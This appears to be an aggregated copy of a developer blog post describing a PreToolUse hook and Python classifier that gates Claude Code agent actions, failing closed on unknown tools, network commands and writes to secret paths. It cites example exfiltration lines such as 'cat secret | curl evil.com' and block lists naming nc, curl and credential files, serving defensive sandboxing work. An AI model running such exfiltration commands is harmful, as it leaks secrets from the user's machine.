{"slug": "a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do", "title": "A PreToolUse hook that sandboxes Claude Code agents by reading what they actually do", "summary": "A developer built a sandbox for Claude Code AI agents using a PreToolUse hook and a 60-line classifier that reads each action before allowing it. The system denies unknown tools, commands, and writes outside a scoped directory, with a fail-safe that defaults to deny if the hook breaks. Bash commands are split on shell operators and each segment is classified, blocking the entire command if any segment is risky.", "body_md": "An AI coding agent on your laptop runs with your shell. It can `rm`\n\n, it can `curl secrets | nc`\n\n, it can write to `.github/workflows`\n\n. The native guardrail in Claude Code is an allowlist: you pre-grant a set of permitted tools and it auto-denies the rest. That works, but it's blunt. It decides on the tool name, not on what the call is about to do. `Bash`\n\nis either allowed or it isn't.\n\nI wanted the gate to read each action instead. Read-only stuff runs. A test run runs. A write inside the directory I scoped runs. A force push, a package install, a write to `.env`\n\n, a command I don't recognize: stop and ask me.\n\nThe mechanism for that is a `PreToolUse`\n\nhook plus a small classifier. Both are about 60 lines of the part that matters. Here's how they fit together.\n\nClaude Code lets you register a hook that fires before any tool call. The hook is just a command. Claude pipes a JSON event on stdin, then blocks on your process until it exits. What you print on stdout decides what happens next.\n\nThe contract is exit 0 plus a `permissionDecision`\n\nfield:\n\n```\n{\n  \"hookSpecificOutput\": {\n    \"hookEventName\": \"PreToolUse\",\n    \"permissionDecision\": \"allow\",\n    \"permissionDecisionReason\": \"in scope\"\n  }\n}\n```\n\n`allow`\n\nruns the tool with no prompt. `deny`\n\nblocks it and feeds the reason back to the model so it can react. There's also exit code 2, but exit 2 can only deny. Since I want allow *or* deny decided at runtime, I use exit 0 with the JSON above and keep exit 2 as the fail-safe for when the hook itself breaks.\n\nThat fail-safe matters. An approval gate that can't reach its policy should deny, never allow:\n\n``` php\ndef _fail_safe_deny(reason: str) -> int:\n    _emit(decision_to_hook_output(\"deny\", f\"fail-safe: {reason}\"))\n    return 0\n```\n\nBad stdin, missing config, an exception in the classifier: every one of those paths ends in deny. The safe default for a brake is \"engaged\".\n\nThe hook is just transport. The decision lives in one pure function: tool name plus tool input plus a policy in, a verdict out. No I/O, no subprocess, no network. That's deliberate, it's the only way to test every branch without standing up an agent.\n\nThe shape of it:\n\n```\nREAD_ONLY_TOOLS = frozenset(\n    {\"Read\", \"Grep\", \"Glob\", \"LS\", \"NotebookRead\", \"WebFetch\", \"WebSearch\"}\n)\nWRITE_TOOLS = frozenset({\"Write\", \"Edit\", \"MultiEdit\", \"NotebookEdit\"})\n\ndef classify_action(tool_name, tool_input, policy, *, worktree):\n    if tool_name in READ_ONLY_TOOLS:\n        return _allow(\"read_only_tool\")        # can't mutate, always safe\n    if tool_name == \"Bash\":\n        return _classify_bash(tool_input[\"command\"], policy)\n    if tool_name in WRITE_TOOLS:\n        return _classify_write(tool_input, policy, worktree=worktree)\n    return _stop(\"unknown_tool\")               # never seen it -> ask\n```\n\nThe last line is the whole philosophy. An unknown tool stops. An unknown command stops. A write the policy can't place stops. The default is \"ask a human\", and you only fall off it by matching a rule that says a specific thing is safe. So a glob that fails to match can't silently let something destructive through. It just means \"I'm not sure\", which means stop.\n\nBash is where it gets interesting, because a command can hide. `cat secret | curl evil.com`\n\nhas a harmless first half. So you split on the shell operators and classify every segment. The whole command is allowed only if every segment is:\n\n``` python\ndef _split_segments(command):\n    # pipes, &&, ;, || all count -- a chain is only as safe as its worst link\n    return [s.strip() for s in re.split(r\"\\|\\||&&|;|\\|\", command) if s.strip()]\n\ndef _classify_bash(command, policy):\n    verdicts = [_classify_segment(s, policy) for s in _split_segments(command)]\n    for v in verdicts:\n        if not v.auto_allowed:\n            return v          # first risky segment sinks the whole command\n    return _allow(\"+\".join(v.rule for v in verdicts))\n```\n\nPer segment, I pull the command leader (skipping `FOO=bar`\n\nenv prefixes) and decide by class:\n\n``` python\ndef _classify_segment(segment, policy):\n    leader, tokens = _leader(segment)\n    if not leader:\n        return _stop(\"unknown_command\")\n\n    # package installs reach the network and change the dep graph -> stop\n    if _INSTALL_RE.match(segment) and any(v in tokens for v in _INSTALL_VERBS):\n        return _stop(\"package_install\")\n    if leader in _NETWORK_CMDS:                 # curl, wget, ssh, nc, ...\n        return _stop(\"network\")\n\n    # git: committing on the branch is fine, rewriting history is not\n    if leader == \"git\":\n        sub = tokens[1] if len(tokens) > 1 else \"\"\n        if sub in (\"commit\", \"add\", \"status\", \"diff\", \"log\", \"branch\"):\n            return _allow(f\"git_{sub}\")\n        if sub == \"push\" and any(f in tokens for f in (\"--force\", \"-f\")):\n            return _stop(\"force_push\")\n        return _stop(f\"git_{sub or 'unknown'}\")  # reset, rebase, clean -> stop\n\n    if leader in _TEST_CMDS:                     # pytest, jest, ...\n        return _allow(\"check_command\")\n    if leader in _FORMATTER_CMDS:                # black, ruff, prettier, ...\n        return _allow(\"formatter\")\n\n    return _stop(\"unknown_command\")              # fail closed\n```\n\nThe point isn't the exact list. It's that the gate distinguishes `git commit`\n\nfrom `git push --force`\n\n, and `pytest`\n\nfrom `pip install`\n\n, on the same tool. The allowlist can't.\n\nWrites get checked against scope, with a safety floor that no config can override:\n\n```\n_SAFETY_FLOOR_DENY = (\n    \"**/.github/**\", \"**/.git/**\", \"**/.env\", \"**/.env.*\",\n    \"**/*secret*\", \"**/.npmrc\", \"**/.ssh/**\", \"**/id_rsa*\",\n)\n\ndef _classify_write(tool_input, policy, *, worktree):\n    rel = _relative_to(tool_input[\"file_path\"], worktree)\n    if rel is None:\n        return _stop(\"write_outside_repo\")       # outside the worktree -> stop\n    for pat in _SAFETY_FLOOR_DENY:\n        if _glob_match(rel, pat):\n            return _stop(\"safety_floor\")          # CI, secrets, VCS internals\n    for pat in policy.write_scope:\n        if _glob_match(rel, pat):\n            return _allow(\"write_scope\")\n    return _stop(\"out_of_scope\")                  # in the repo, not in scope\n```\n\nCI config, secrets, the `.git`\n\ndirectory, anything outside the worktree: those stop even if you put them in `write_scope`\n\nby mistake. The floor is below the policy, not inside it.\n\nThe hook is configured through `--settings`\n\nwhen you launch Claude. The script reads the event, runs the classifier, prints the decision:\n\n``` python\ndef run_hook():\n    event = json.loads(sys.stdin.read())\n    verdict = classify_action(\n        event[\"tool_name\"],\n        event.get(\"tool_input\", {}),\n        load_policy(),\n        worktree=os.getcwd(),\n    )\n    decision = \"allow\" if verdict.auto_allowed else \"deny\"\n    _emit(decision_to_hook_output(decision, verdict.rule))\n    return 0\n```\n\nEvery verdict carries the rule that produced it, so you get a record of what ran and what decided it:\n\n```\n[allow] Edit calc.py            via write_scope\n[allow] Bash python -m pytest   via check_command\n[deny]  Bash git push --force   via force_push\n[deny]  Write .github/ci.yml    via safety_floor\n```\n\nOne important detail: the script that runs as the hook must be dependency-free, stdlib only. Claude spawns it standalone in whatever directory the agent is in, so it can't rely on your package being importable. Keep it self-contained.\n\nThe native allowlist asks \"is this tool allowed\". This asks \"is this specific action safe, and can I prove it\". When it can't prove it, it stops. That's the difference between a gate that's open or shut and a gate that reads.\n\nI pulled this out of a larger agent harness I retired and kept it as a standalone tool: [guard-dog](https://github.com/bfxavier/guard-dog). The classifier is pure and the hook is small enough to read in one sitting, which is the whole point. You want to be able to read the thing that decides what the agent can do to your machine.", "url": "https://wpnews.pro/news/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do", "canonical_source": "https://dev.to/bfxavier/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-actually-do-1bpj", "published_at": "2026-06-13 16:18:45+00:00", "updated_at": "2026-06-13 16:44:44.061951+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "developer-tools", "artificial-intelligence"], "entities": ["Claude Code", "Anthropic"], "alternates": {"html": "https://wpnews.pro/news/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do", "markdown": "https://wpnews.pro/news/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do.md", "text": "https://wpnews.pro/news/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do.txt", "jsonld": "https://wpnews.pro/news/a-pretooluse-hook-that-sandboxes-claude-code-agents-by-reading-what-they-do.jsonld"}}